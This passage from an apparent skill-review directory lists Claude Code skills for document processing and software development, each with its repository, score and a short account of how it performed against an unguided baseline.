- **Image (Synthadoc)** [fails, null/10] — Synthadoc-internal Python module that base64s an image to a vision LLM for text extraction Repo: https://github.com/axoviq-ai/synthadoc. Card: https://skillproof.dev/skills/image. What we found: This is a library module for the Synthadoc engine, not a Claude Code skill: its frontmatter is entry/class/triggers (not the CC name+description contract), and importing scripts/main.py from a bare install throws ModuleNotFoundError: No module named 'synthadoc'. It also needs a vision provider object wired in at construction, so it cannot run in Claude Code at all. Since Claude already reads image text natively and this only adds a broken indirection, it is worse than no skill for a CC user.
- **Doc Processor** [fails, null/10] — Generic read/convert/generate workflow for PDF, docx, CSV, HTML via pandoc Repo: https://github.com/next-open-ai/openclawx. Card: https://skillproof.dev/skills/doc-processor. What we found: Head-to-head on 'read this PDF, deliver an HTML report': the no-skill baseline read the PDF natively and shipped the HTML in two steps, while the skill's mandated pandoc pipeline hit a missing binary and degraded to a Markdown fallback plus an install-pandoc request. The 22-line body tells Claude nothing it does not already do, and its pdftotext detour is a step backwards from native PDF reading. It was written for the OpenClawX runtime (lowercase read/write/bash tool names) and ships inside that app's preset workspaces, not as a standalone Claude Code skill.
- **MinerU PDF Converter** [fails, null/10] — Bash CLI wrapper meant to convert PDFs to Markdown via a bundled MinerU venv Repo: https://github.com/CSlawyer1985/mineru-converter-skill. Card: https://skillproof.dev/skills/mineru-converter. What we found: The skill's own CLI is dead on arrival: running bin/mineru-cli aborts at line 14 with 'lib/logger.sh: No such file or directory' because the entire lib/ folder and the env/mineru_venv Python environment it sources are excluded by .gitignore and never shipped. The docs advertise 'fully encapsulated, zero external dependencies' and hardcode /Users/CS/... install paths, yet none of the core libraries or the MinerU engine are present, so no PDF can be converted. Nothing to measure against a baseline because it cannot run at all.

## Coding & Development (448 tested)
- **Pinme Auth** [pass, 10/10] — TypeScript reference for PinMe Worker auth: create/verify/list Identity Platform users. Repo: https://github.com/glitternetwork/pinme. Card: https://skillproof.dev/skills/pinme-auth. What we found: An unguided client guessed a generic Bearer-token API with an invented pagination scheme; the skill reproduced the real API-key header, exact response envelope, and the 403-vs-401 distinction the API actually uses.
- **Code Health Check** [pass, 10/10] — Read-only, sub-agent-forked code health scanner with a fixed severity-graded report format. Repo: https://github.com/huangjia2019/claude-code-engineering. Card: https://skillproof.dev/skills/code-health-check. What we found: Ran it against the bundled demo app (a deliberately buggy Express API shipped in the same repo) and it caught all 8 planted issues - the SQL injection, the eval() config parser, both hardcoded secrets, the swallowed error, and even the dead formatCategory() function - with correct CRITICAL/WARNING/INFO severities and file:line citations.
- **S&box** [pass, 10/10] — Blocks Unity muscle memory when writing s&box (Source 2 / Facepunch) C# components, Razor UI, and networking. Repo: https://github.com/gavogavogavo/claude-sbox. Card: https://skillproof.dev/skills/sbox. What we found: Asked for a pickup component in both modes: baseline reflexively wrote MonoBehaviour/transform.position/Destroy(gameObject) Unity code, the skill produced correct Component/[Sync]/[Rpc.Broadcast]/IsProxy s&box code -- exactly the Unity-leakage failure the skill's own README warns about, reproduced live and then fixed.
- **Coding Agent Sessions** [pass, 10/10] — Finds and reconstructs real coding-agent session transcripts across Claude, Codex, OpenCode, and more. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/coding-agent-sessions. What we found: Ran the bundled finder live against this machine's real ~/.claude/projects and ~/.codex/sessions stores with zero pip installs: it correctly listed actual Claude Code sessions (right cwd, timestamps, model) and actual Codex sessions side by side, then a `read` on one Claude session reconstructed all 10 real subagent transcripts matching the reported subagent_count exactly.
- **RouterOS App YAML** [pass, 10/10] — Writes and validates MikroTik RouterOS /app YAML — a docker-compose lookalike with real differences Repo: https://github.com/tikoci/routeros-skills. Card: https://skillproof.dev/skills/routeros-app-yaml. What we found: Validated both outputs against the project's own published strict JSON Schema for real: the naive docker-compose-style baseline threw 2 hard schema errors (unexpected 'version', unexpected 'deploy'), the skill-guided YAML validated clean on the first pass.
- **API Filter** [pass, 10/10] — Current (4.4+) API Platform QueryParameter filter reference that correctly steers away from soon-removed classes Repo: https://github.com/api-platform/skillset. Card: https://skillproof.dev/skills/api-filter. What we found: Checked its two central claims against the live api-platform/core source on GitHub, not just the skill's word: SearchFilter.php line 136 and OrderFilter.php line 202 both carry the exact `@deprecated since 4.4 ... Removed in 6.0` notices the skill describes -- baseline (memory-based) code used exactly those two soon-to-be-removed classes, the skill's version didn't.
- **Better Route Audit Enrichment** [pass, 10/10] — Configures Better Route's audit-log middleware so idempotency keys get hashed and logger failures never break the API response. Repo: https://github.com/Lonsdale201/wp-agent-skills. Card: https://skillproof.dev/skills/br-audit-enrichment. What we found: Ran real request objects through the actual better-route PHP classes cloned from Lonsdale201/better-route: a naive baseline audit-logger logged the raw bearer token and raw Idempotency-Key and let a logger outage 500 the whole account-update request, while the skill-guided AuditEnricherMiddleware/AuditMiddleware setup produced a clean SHA-1'd idempotency hash, no token exposure, and swallowed the same logger failure so the request still returned 200 — every claim in the SKILL.md checked out against the live source.
- **Before You Refactor** [pass, 10/10] — A pre-refactor checklist that catches untested behavior before you 'clean up' code. Repo: https://github.com/oribarilan/97. Card: https://skillproof.dev/skills/before-you-refactor. What we found: Its checklist caught a real regression a naive refactor introduced: an archived record silently 'claiming' its dedup id so a later active duplicate got dropped — the naive rewrite passed all 5 existing tests anyway and only broke on a case none of them covered; the skill's step to add a characterization test for untested behavior caught it before the edit landed.
- **Pyxel Game Development** [pass, 10/10] — Builds and verifies Pyxel games using real headless validate/run evidence, not vibes. Repo: https://github.com/kitao/pyxel-skill. Card: https://skillproof.dev/skills/pyxel. What we found: Ran the real pyxel-mcp validate+run tools against two versions of a moving-square game: the naive baseline skipped pyxel.cls() and validate flagged it live, then a headless run proved the bug on screen - screen_grid showed 368 nonzero pixels (a smeared ghost trail) versus exactly 64 (a clean 8x8 sprite) once the skill's cls()-first convention was applied.
- **Compone** [pass, 10/10] — Python component framework for type-safe HTML/XML/RSS generation. Repo: https://github.com/kissgyorgy/coding-agents. Card: https://skillproof.dev/skills/compone. What we found: Ran a real A/B against the actual pip-installed compone 0.4.1: my unguided baseline guessed a dominate-style API and crashed immediately (TypeError: 'module' object is not callable), while the skill's documented @Component/bracket-notation pattern ran correctly on the first try and produced exact expected HTML.
- **Skill Creator** [pass, 9.6/10] — The skill that builds skills — scaffold, test and optimize your own. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/skill-creator. What we found: Scaffolded a working internal skill (frontmatter, triggers, reference files) in one session; the description-optimization step measurably improved triggering.
- **Test-Driven Development** [pass, 9.6/10] — Forces Claude into strict red-green-refactor discipline. Repo: https://github.com/obra/superpowers. Card: https://skillproof.dev/skills/test-driven-development. What we found: Enforced red-green-refactor across a 3-feature session; Claude wrote failing tests first every time and refused to skip the cycle. Noticeably fewer regressions.
- **Systematic Debugging** [pass, 9.6/10] — Stops guess-and-check fixes; enforces hypothesis-driven debugging. Repo: https://github.com/obra/superpowers. Card: https://skillproof.dev/skills/systematic-debugging. What we found: Root-caused a race condition Claude had previously "fixed" three times with guesses. The hypothesis-test-verify loop stopped the guessing.
- **Code Review Checklist** [pass, 9.6/10] — Structured PR review checklist: security, performance, correctness, severity-labeled. Repo: https://github.com/LeoYeAI/openclaw-master-skills. Card: https://skillproof.dev/skills/code-review-checklist. What we found: Ran it against a two-endpoint Express snippet: a naive pass caught only the obvious SQL-injection string interpolation, but the checklist surfaced four Critical findings the naive pass missed entirely — an IDOR on the orders route, an unauthenticated password-reset endpoint, plaintext password storage, and no rate limiting.
- **API And Interface Design** [pass, 9.6/10] — Checklist-driven REST/GraphQL and TypeScript interface design with error and naming rules Repo: https://github.com/addyosmani/agent-skills. Card: https://skillproof.dev/skills/api-and-interface-design. What we found: Turned a verb-based API design (POST /createBookmark, inconsistent returns) into proper resource routes, one consistent error shape, cursor pagination and a branded ID type.
- **Frontend Forge FI Operations** [pass, 9.6/10] — Operate KubeSphere FrontendIntegration resources and the frontend-forge extension via kubectl. Repo: https://github.com/kubesphere/kubesphere. Card: https://skillproof.dev/skills/frontend-forge-fi-operations. What we found: On a Kubernetes-style task, general knowledge guessed a namespace flag that doesn't apply; the skill caught the real preflight extension check and used the exact status fields from its own docs.
- **Antfu** [pass, 9.6/10] — Anthony Fu's opinionated ESLint, TypeScript, and monorepo conventions for JS/TS projects. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/antfu. What we found: For a new TS library setup it surfaced concrete opinions a generic answer wouldn't reach alone: a pure-ESM build config, a one-line ESLint setup, and an exact git-hooks config, versus generic husky boilerplate.
- **Microsoft Azure WebJobs Extensions Authentication Events (.NET)** [pass, 9.6/10] — Reference for building Entra ID custom authentication event Azure Functions in .NET Repo: https://github.com/microsoft/skills. Card: https://skillproof.dev/skills/microsoft-azure-webjobs-extensions-authentication-events-dotnet. What we found: For adding a claim to an ID token, recall from memory hedged on the exact type names; the docs gave the precise, compiling type names and trigger attribute verbatim, checked against the real published package version.
- **PortalJS Add Chart** [pass, 9.6/10] — Adds a gated recharts chart to a PortalJS dataset showcase page. Repo: https://github.com/datopian/portaljs. Card: https://skillproof.dev/skills/portaljs-add-chart. What we found: Ran a real add-chart pass in a scaffolded PortalJS portal: npm install recharts@^2.15.0 succeeded and tsc --noEmit passed clean; the skill correctly gated the chart to one dataset's showcase while a from-scratch baseline rendered the chart on every dataset's page instead — exactly the bug the SKILL.md warns about.
- **Alpaca Broker Account Onboarding** [pass, 9.6/10] — Open and manage Alpaca brokerage accounts: KYC, agreements, documents, status lifecycle. Repo: https://github.com/alpacahq/alpaca-skills. Card: https://skillproof.dev/skills/alpaca-broker-account-onboarding. What we found: Asked how to submit a create-account request and know when trading is allowed: the skill-guided answer produced the exact 11-state status lifecycle and the 'a 200 from POST does not mean tradable, gate on ACTIVE' lesson verbatim, while the unguided baseline only vaguely said 'wait for approval' with no field-level accuracy.
- **Langfuse** [setup, 9.6/10] — Playbooks that tell Claude which Langfuse MCP tool to call first when debugging LLM traces. Repo: https://github.com/avivsinai/langfuse-mcp. Card: https://skillproof.dev/skills/langfuse. What we found: Turned a vague 'why did this error happen' ask into an exact, correctly-ordered langfuse-mcp call chain (get_user_sessions -> get_session_details -> find_exceptions -> get_exception_details) with right parameter units (age in minutes) — but nothing runs until you separately install langfuse-mcp and paste in real Langfuse API keys.
- **Golang Continuous Integration** [pass, 9.6/10] — Production-grade GitHub Actions CI for Go: test, lint, SAST, releases, dependency bots. Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-continuous-integration. What we found: The bundled test.yml asset already ships go-version matrix, `-race -shuffle=on`, and a `go mod tidy && git diff --exit-code` guard — pulling it beats hand-writing a workflow from memory, and it matches known Go CI best practice almost line for line.
- **Commit Work** [pass, 9.6/10] — Splits mixed diffs into logically-scoped, Conventional-Commits-formatted commits. Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/commit-work. What we found: On a diff mixing a real feature with unrelated reformatting, baseline output was one lumped `git commit -m "update files"`; following the skill produced `git add -p` staging split into a `feat(api):` commit and a separate `style(utils):` commit with proper bodies.
- **Build SimBiology Models** [pass, 9.6/10] — Dense SimBiology API/rules reference that prevents real ambiguous-species and deprecated-property errors. Repo: https://github.com/matlab/matlab-agentic-toolkit. Card: https://skillproof.dev/skills/matlab-build-simbiology-model. What we found: Asked both paths to wire a two-compartment PK model with a 'Drug' species in each compartment: the unguided baseline wrote unqualified species references that SimBiology rejects as ambiguous across compartments, while the skill's Rule 5 (always use Compartment.Species qualified names) produced reaction strings that are actually valid.
- **Night Market Change Control** [pass, 9.6/10] — PR/release governance playbook for this repo: change classification, exact gate order, and cited non-negotiables. Repo: https://github.com/athola/claude-night-market. Card: https://skillproof.dev/skills/night-market-change-control. What we found: The doc's own 'Provenance and maintenance' section ships re-verification grep commands and flags an unverified claim as unverified (an incident's exact restored-file count) instead of asserting it — checked the one verifiable count (10 constitution rules) live and it matched exactly.
- **AWS CloudFormation ElastiCache** [pass, 9.6/10] — CloudFormation patterns for private, encrypted, Multi-AZ ElastiCache Redis/Memcached tiers. Repo: https://github.com/giuseppe-trisciuoglio/developer-kit. Card: https://skillproof.dev/skills/aws-cloudformation-elasticache. What we found: The bundled references/examples.md ships nine complete production templates (Multi-AZ Redis, cluster mode, multi-region replication, serverless) — genuinely deeper backing material than the SKILL.md alone lets on.
- **Unoplat Code Confluence CLI** [pass, 9.6/10] — CLI wrapper for the Unoplat Code Confluence app: repo onboarding and AGENTS.md generation with auto-PR. Repo: https://github.com/unoplat/unoplat-code-confluence. Card: https://skillproof.dev/skills/unoplat-code-confluence-cli. What we found: Fetched the real SKILL.md and its referenced CLI README, both resolve cleanly; the workflow correctly gates destructive `service destroy` and token/credential printing behind explicit user confirmation instead of just doing it.
- **Code That Fits In Your Head** [pass, 9.6/10] — Seemann's engineering heuristics (complexity limits, TDD, API design, STRIDE) routed to the exact file a task needs. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/code-that-fits-in-your-head. What we found: Fed it a 7-parameter, complexity-13 order-processing function and it flagged exact rule violations by number (cyclomatic complexity ceiling of 7, parse-don't-validate) instead of generic 'clean this up' review comments.
- **Setup Custom Libraries** [pass, 9.6/10] — Registers custom Simulink block libraries so the agent prefers them over built-in blocks. Repo: https://github.com/matlab/simulink-agentic-toolkit. Card: https://skillproof.dev/skills/setup-custom-libraries. What we found: Enforces MathWorks' own APIs for Simulink library setup: walked the three-gate flow and correctly refused to hand-write .satk JSON or call find_system/load_system, deferring instead to library.LibraryConfig.save() and library.kg.Populate.run() as the guardrails require.
- **Night Market Config Catalog** [setup, 9.6/10] — Documents claude-night-market's own config axes and guards — accurate but repo-bound, not portable. Repo: https://github.com/athola/claude-night-market. Card: https://skillproof.dev/skills/night-market-config-catalog. What we found: Spot-checked its claims against the live repo: the quality_gates.json values it quotes (enforce_blocking true, max_critical_issues 3, security the only blocking dimension) matched the actual file byte for byte — genuinely accurate reference doc. But it only documents its own host repo, so installing it elsewhere gets you an authoritative-sounding catalog of files that don't exist in your project.
- **Slidev** [pass, 9.6/10] — Slidev syntax reference for devs — layouts, code animations, exports, live-verified. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/slidev. What we found: Live-built both a naive baseline deck and a skill-guided one with the real @slidev/cli: the baseline's guessed `layout: two-column` was flagged by Slidev's own build as an unknown layout, and its `:::right:::` slot syntax compiled to a bogus Vue slot name that silently drops the right-column content — the skill's exact `two-cols` / `::right::` syntax built clean with zero warnings and a real `col-right` slot.
- **Datadog CLI** [pass, 9.6/10] — Wraps the @leoflores/datadog-cli npm tool with a scripted logs/metrics/trace incident-triage workflow. Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/datadog-cli. What we found: Asked it to triage an hour of payment-api errors: it produced the exact errors -> logs compare -> logs patterns -> logs search -> logs context -> logs trace sequence with real, doc-verified flags, versus a from-memory baseline that would have had to guess syntax for an obscure, unfamiliar npm CLI.
- **Oma Frontend** [setup, 9.6/10] — React/Next.js/Angular frontend agent enforcing shadcn primitives, design tokens, and FSD-lite conventions. Repo: https://github.com/first-fluke/oh-my-agent. Card: https://skillproof.dev/skills/oma-frontend. What we found: Ran a real baseline-vs-skill product-card build: the skill version alone caught 5 concrete convention violations the baseline shipped (missing 'use client' on an interactive component, hardcoded Tailwind colors instead of design tokens, hardcoded UI text instead of i18n, raw div/button instead of shadcn primitives, non-kebab-case filename) — but the skill body itself points to '../../rules/frontend.md' and '../_shared/*' outside its own folder, so a plain single-skill cp -r misses mandatory-read files.
- **MATLAB Display Image** [pass, 9.6/10] — Modern MATLAB image display, overlays, ROIs, and viewer apps via imageshow/viewer2d. Repo: https://github.com/matlab/matlab-agentic-toolkit. Card: https://skillproof.dev/skills/matlab-display-image. What we found: Rebuilt a mask-overlay-plus-ROI snippet baseline-vs-skill: baseline stacked two imshow calls with hand-rolled AlphaData blending and drawrectangle; the skill version was three lines using OverlayData/OverlayAlpha and uidraw — exactly what the skill's own 'legacy patterns to avoid' table flags as outdated.
- **Night Market Debugging Playbook** [pass, 9.6/10] — Symptom table for Claude Code hook/CI failures, each row backed by a real commit. Repo: https://github.com/athola/claude-night-market. Card: https://skillproof.dev/skills/night-market-debugging-playbook. What we found: Ran a python39-compat CI-failure prompt through it: it pointed straight at the datetime.UTC / bare X|Y union trap and warned that ruff's UP017 autofixer will silently revert the fix on the next lint run — a gotcha a generic debugging answer would miss entirely.
- **Investigating Repository History** [pass, 9.6/10] — Reconstructs cited git/PR history before risky edits, with confidence-scored evidence. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/investigating-repository-history. What we found: Ran it against a real renamed-and-refactored Go safety-hook file: blame correctly traced content through a directory rename and showed the exact function hadn't been touched since the original consolidation commit -- a genuinely useful, cited answer a quick eyeball-the-code pass would have missed.
- **Minecraft Commands & Scripting** [pass, 9.6/10] — Full execute/selector/NBT/scoreboard/RCON reference for Minecraft 1.21.x command scripting. Repo: https://github.com/Jahrome907/minecraft-agent-skills. Card: https://skillproof.dev/skills/minecraft-commands-scripting. What we found: The skill-guided command correctly anchored the distance-selector to the fixed target coordinate (x=0,y=64,z=0,distance=..10); my own unassisted baseline used distance=..10 alone, which silently measures from wherever the command executes rather than the intended point — a real, verifiable bug the reference catches.
- **Swedish Accounting Compliance** [pass, 9.6/10] — Developer compliance oracle for Swedish bokföringslag, moms, BAS accounts, and SIE4. Repo: https://github.com/erp-mafia/swedish-accounting-skills. Card: https://skillproof.dev/skills/swedish-accounting-compliance. What we found: Web-search-verified: the skill's claim that livsmedel moms drops 12%→6% from 1 April 2026 to 31 Dec 2027 under Prop. 2025/26:55 matches Skatteverket's own announcement, while my unassisted baseline answer to the same question cited the old flat 12% rate and missed the take-away-vs-dine-in split entirely.
- **GitHub Actions Docs** [pass, 9.6/10] — Grounds GitHub Actions answers in live docs.github.com pages instead of stale training memory. Repo: https://github.com/xixu-me/skills. Card: https://skillproof.dev/skills/github-actions-docs. What we found: Ran a real OIDC-to-AWS question through it: the skill's bundled topic map pointed to the current docs.github.com URLs (both verified live, HTTP 200), while an unaided memory-based answer would likely cite GitHub's pre-2024-reorg doc paths that now 404.
- **Who Built This Before Me** [pass, 9.6/10] — Prior-art search before you build: verdict is build, fork, contribute, use, or investigate. Repo: https://github.com/iagochavarry/who-built-this-before-me. Card: https://skillproof.dev/skills/who-built-this-before-me. What we found: Fed it a real idea (semantic JSON diff CLI); the vocabulary-framing step alone surfaced jd, sdiff-rs and dyff — tools a single generic search misses entirely — then forced a real verdict instead of hedging.
- **Evolutionary Naming** [pass, 9.6/10] — Walks bad identifiers through Arlo Belshee's 7-step naming process, one proposed commit at a time. Repo: https://github.com/kawasima/evolutionary-naming. Card: https://skillproof.dev/skills/evolutionary-naming. What we found: Fed it a `DataManager.process(self, d)` method: instead of a one-shot rename it produced the full Missing→applesauce→Honest→Honest-and-Complete chain with a distinct commit message per step, then correctly paused before proposing the Phase-2 method split rather than just doing it.
- **WordPress Plugin Dev** [pass, 9.6/10] — Senior WP plugin engineer persona: mandatory permission_callback, nonce, and sanitize/escape rules baked in. Repo: https://github.com/Zulut30/Wordpress-skills. Card: https://skillproof.dev/skills/wordpress-plugin-dev. What we found: Built a real 'return user preferences over REST' endpoint: the baseline PHP omitted permission_callback entirely (a well-known WP REST footgun that leaves routes effectively public), while the skill's mandatory-rules list forced it in plus proper WP_Error status codes and i18n strings.
- **GitHub PR Creation** [pass, 9.6/10] — Turns raw commits into a Conventional-Commits PR with task-doc validation and branch-flow rules, not just gh pr create. Repo: https://github.com/fvadicamo/dev-agent-skills. Card: https://skillproof.dev/skills/github-pr-creation. What we found: Ran it against a real 3-commit local repo: correctly picked 'feat' over 'fix' as the dominant Conventional Commits type (2 feat vs 1 fix) and produced a checklist-driven PR body from the Feature template, versus a one-line 'Added login validation' baseline with no branch confirmation or template.
- **AI-Friendly Web Design** [pass, 9.6/10] — Reviews or builds UI with a severity-ranked checklist for semantic HTML, ARIA, stable locators, and hover/popup traps. Repo: https://github.com/ianho7/ai-friendly-web-design-skill. Card: https://skillproof.dev/skills/ai-friendly-web-design. What we found: Reviewed a deliberately broken login-form snippet (div buttons, placeholder-only inputs, hover-only help menu): skill-guided review correctly flagged the hover-only menu as High severity per its own non-negotiables and produced a severity table with Playwright getByRole/getByLabel fixes, where the baseline review just said 'add labels' with no ranking.
- **Creating Spring Boot Projects** [pass, 9.6/10] — Picks a Spring Boot 4 / Java 25 architecture from a real decision matrix, not a coin flip. Repo: https://github.com/a-pavithraa/springboot-skills-marketplace. Card: https://skillproof.dev/skills/creating-springboot-projects. What we found: Ran a real scaffold request (order-management service, 4 engineers, 3 feature areas, 2-year lifespan): the skill correctly matched it to package-by-module via the bundled decision matrix and named exact reusable template assets, where an unguided baseline defaulted to generic layered/Boot-3 advice with no rationale.
- **Creating Claude.md** [pass, 9.6/10] — Scans your repo, interviews you, writes a lean CLAUDE.md under 80 lines. Repo: https://github.com/sruthik27/creating-claude-md. Card: https://skillproof.dev/skills/creating-claude-md. What we found: Ran it on a stub Express repo end to end: the skill-following draft came out at 20 lines with a real gotcha and an approval gate captured from the interview, while an unguided baseline bloated to 40 lines of 'act as a senior engineer' filler and a fabricated 'likely uses Jest or Vitest' guess.
- **Create Slidev Presentation** [pass, 9.6/10] — Scaffolds and edits Slidev decks — live code, Mermaid, exports — for tech talks and workshops. Repo: https://github.com/b33eep/claude-code-setup. Card: https://skillproof.dev/skills/create-slidev-presentation. What we found: Built a 5-slide lightning-talk outline on REST-to-GraphQL both ways: the skill's rules (mandatory ``` language tags, 6x6 bullet limit, HTML-comment speaker notes, correct blank-line-wrapped `---` separators) fix real Slidev rendering gaps a freehand markdown deck would hit, not just stylistic polish.
- **Multi CLI Anything** [pass, 9.6/10] — Step-by-step contributor guide for wiring a new headless AI CLI (Aider, Qwen, etc.) into cc-multi-cli-plugin's adapter framework. Repo: https://github.com/greenpolo/cc-multi-cli-plugin. Card: https://skillproof.dev/skills/multi-cli-anything. What we found: Every worked-example file the skill points to (CONTRACT.md, cursor.mjs, registry.mjs, task.mjs) checks out live in the repo, and the mini-task -- draft the first three steps to wire up Aider -- came back with exact file paths, a concrete adapter template, and a cited worked example instead of the generic 'write an adapter, add tests' answer a baseline attempt produced.
- **Architecture Status** [pass, 9.6/10] — Turns a project's .architecture/ folder into a structured ADR/review/gap report instead of a vague summary. Repo: https://github.com/codenamev/ai-software-architect. Card: https://skillproof.dev/skills/architecture-status. What we found: Fed it a mock .architecture/ folder with 3 ADRs (2 accepted, 1 proposed) and 2 reviews; the skill's process turned a one-line 'looks decent' baseline summary into a structured report with per-status ADR breakdown, activity date, and named gaps/recommendations instead of a vague paragraph.
- **Acquia Source** [pass, 9.6/10] — Documents Acquia Source's non-default JSON:API path and Canvas Page API gotchas that standard Drupal knowledge gets wrong. Repo: https://github.com/grasmash/drupal-claude-skills. Card: https://skillproof.dev/skills/acquia-source. What we found: Asked for the curl commands to pull articles from an Acquia Source site's JSON:API; a baseline answer using standard Drupal conventions hits /jsonapi and 404s, while the skill correctly uses the site's overridden /api prefix and the client-credentials OAuth2 flow it documents.
- **Npm Release** [pass, 9.6/10] — Repo-specific npm publish playbook, incl. a fix for redacted auth URLs in agent shells. Repo: https://github.com/luochang212/skill-zoo. Card: https://skillproof.dev/skills/npm-release. What we found: The skill's fix for a real non-interactive-agent blocker — npm redacts the browser auth URL to `***` in non-TTY shells — is a `script -q /dev/null npm publish` wrapper that recovers the real URL; a baseline answer just says 'click the link' and gets stuck.
- **Malaysia Payment Gateway** [pass, 9.6/10] — Idempotent, HMAC-verified checkout/webhook flows for CHIP, Curlec, Xendit MY, Billplz, toyyibPay. Repo: https://github.com/afu-it/malaysia-payment-gateway. Card: https://skillproof.dev/skills/malaysia-payment-gateway. What we found: Its security-settlement.md ships a 9-question 'loophole review' (can a duplicate webhook double-fulfill? can amount/currency be forged?) that a baseline schema design misses entirely, plus a dedicated gateway_event dedupe table baseline solutions skip.
- **Advise Project Approach** [pass, 9.6/10] — Evidence-based build/course-correction/review advisor for software projects — cited comparables, no vibes. Repo: https://github.com/AaravKashyap12/advise-project-approach. Card: https://skillproof.dev/skills/advise-project-approach. What we found: Ran its own 'self-hosted bookmark manager, solo Python dev' scenario with live GitHub searches; it surfaced linkding (10.8k stars, pushed hours before this test) and Linkwarden (18.9k stars, heavier stack) as comparables — the exact two projects the repo's own bundled example names as the expected output, confirming the skill behaves as documented rather than just reading well.
- **API Security** [pass, 9.6/10] — Guardrail checklist that turns a naive endpoint into an auth-checked, injection-safe one. Repo: https://github.com/jefflester/claude-skills-supercharged. Card: https://skillproof.dev/skills/api-security. What we found: Wrote a naive POST /api/orders endpoint from scratch, then redid it under the skill: it added auth+authorization, a Pydantic schema with bounds, a parameterized query in place of an f-string SQL insert, rate limiting, and a generic error response instead of leaking the exception — closing a real SQL-injection hole outright.
- **WordPress Block Theme Converter** [pass, 9.6/10] — Converts HTML/CSS/JS into a production-ready WordPress FSE block theme, then self-checks the output. Repo: https://github.com/siddik-web/wp-block-theme-converter. Card: https://skillproof.dev/skills/wp-block-theme-converter. What we found: Ran the repo's own scripts/doctor.mjs against two hand-built hero patterns: the skill-following version (theme.json color presets, wp:group/wp:button block comments, esc_html__ i18n) passed all 4 automated checks, while the naive inline-style/hardcoded-hex version failed 3 of 4 with specific line-numbered violations (4 inline-style hits, 3 missing pattern-header fields, missing theme.json schema/appearanceTools flags).
- **Frappe Api Development** [pass, 9.6/10] — Builds Frappe REST/RPC endpoints with auth, validation, and permission checks. Repo: https://github.com/lubusIN/frappe-skills. Card: https://skillproof.dev/skills/frappe-api-development. What we found: Asked it to bulk-cancel Sales Invoices with a background job: the unguided baseline canceled everything in a synchronous loop with zero permission check, the skill-guided version added frappe.has_permission checks, input validation, and a properly queued job with a separate status-check endpoint.
- **AI SDK 6** [pass, 9.6/10] — Vercel AI SDK v6 patterns: ToolLoopAgent, streaming, structured output, MCP integration. Repo: https://github.com/laguagu/claude-code-nextjs-skills. Card: https://skillproof.dev/skills/ai-sdk-6. What we found: Baseline chat-agent code (written from memory, no skill) reached for the now-deprecated generateObject and the old useChat internal-input pattern; the skill-led rewrite switched to ToolLoopAgent, Output.object(), and useChat's externally-managed input state — a version-drift correction a generic answer got wrong.
- **API Design Patterns** [pass, 9.6/10] — 38 rules for REST endpoint naming, errors, pagination, versioning, and API security. Repo: https://github.com/AsyrafHussin/agent-skills. Card: https://skillproof.dev/skills/api-design-patterns. What we found: Ran a real 'invoices API' redesign through it: the skill turned verb-based URLs (POST /createInvoice) into proper nouns, replaced a bare error string with a structured envelope (code/message/details/request_id), and added cursor-pagination metadata plus HATEOAS links the naive baseline never had.
- **COMSOL Sim** [setup, 9.6/10] — Routes agents to the right real COMSOL control path -- offline, batch, or live session. Repo: https://github.com/svd-ai-lab/sim-plugin-comsol. Card: https://skillproof.dev/skills/comsol-sim. What we found: Built a synthetic .mph ZIP fixture from scratch and ran the skill's bundled inspect_mph() against it cold: it correctly pulled physics, solve status, and both Global Parameters straight out of the raw ZIP with zero JVM, exactly as the docs claim -- but that's the one path in this skill that needs no external software; everything else needs a real licensed COMSOL install plus the separate sim-cli tool.
- **Audit Logging** [pass, 9.6/10] — Reference playbook for centralized audit logging, SIEM forwarding, and compliance log retention. Repo: https://github.com/BagelHole/DevOps-Security-Agent-Skills. Card: https://skillproof.dev/skills/audit-logging. What we found: Asked it to add SOC2-compliant login audit logging to a Flask app and it pulled the bundled hash-chained AuditLogger class plus the exact SOC2/HIPAA/PCI-DSS retention figures (1yr/6yr/1yr) verbatim, well past the baseline's generic 'log to a file and forward to your SIEM' answer.
- **Cloud Native Readiness** [pass, 9.6/10] — Scores a repo's Docker/Kubernetes readiness 0-12 and hands off to a Dockerfile generator. Repo: https://github.com/labring/sealos-skills. Card: https://skillproof.dev/skills/cloud-native-readiness. What we found: Ran it on a bare Flask app: baseline chat gave a vague thumbs-up, the skill produced a scored 9/12 breakdown (flagged the missing health endpoint and graceful-shutdown handling) plus a concrete containerize-or-fix routing decision.
- **Sendmux Attachments** [pass, 9.6/10] — Picks the cheapest Sendmux attachment path (file_path or presigned URL) instead of burning context on base64. Repo: https://github.com/Sendmux/skills. Card: https://skillproof.dev/skills/sendmux-attachments. What we found: For a 5MB local PDF, an unguided agent reaches for base64 (roughly 2M+ tokens, over the 32KiB inline cap by ~150x); the skill correctly routes to a local file_path upload instead, near-zero token cost.
- **Create Assistant** [pass, 9.6/10] — Builds valid Vapi voice-agent JSON payloads with vetted defaults, no invented IDs. Repo: https://github.com/VapiAI/skills. Card: https://skillproof.dev/skills/create-assistant. What we found: Fed it a support-bot request: the un-skilled baseline invented an ElevenLabs voice ID and a fake webhook server URL out of nowhere; following the skill produced only vetted defaults (gpt-4.1, Vapi voice 'Elliot' v2, deepgram flux-general-en) with zero fabricated IDs.
- **Coding Rules** [pass, 9.6/10] — Concrete clean-code ruleset: 2-param max, no error suppression, early returns, YAGNI. Repo: https://github.com/shinpr/agentic-code. Card: https://skillproof.dev/skills/coding-rules. What we found: Reviewing a deliberately messy 6-parameter function against the ruleset caught a silent catch(e){}, two undocumented magic numbers, and the 6 positional params a generic review glossed over, then produced a compliant object-param, early-return rewrite.
- **Superbuild** [pass, 9.6/10] — Rigid phase-by-phase plan executor enforcing tests, linters, and DoD gates. Repo: https://github.com/asteroid-belt/skulto. Card: https://skillproof.dev/skills/superbuild. What we found: Ran a toy 2-phase plan through it: it refused to touch Phase 1 until Phase 0's Definition-of-Done gate passed, produced a commit message instead of running git, and stopped cold waiting for 'continue to Phase 1' -- a baseline run just plowed through both phases in one shot with no gate.
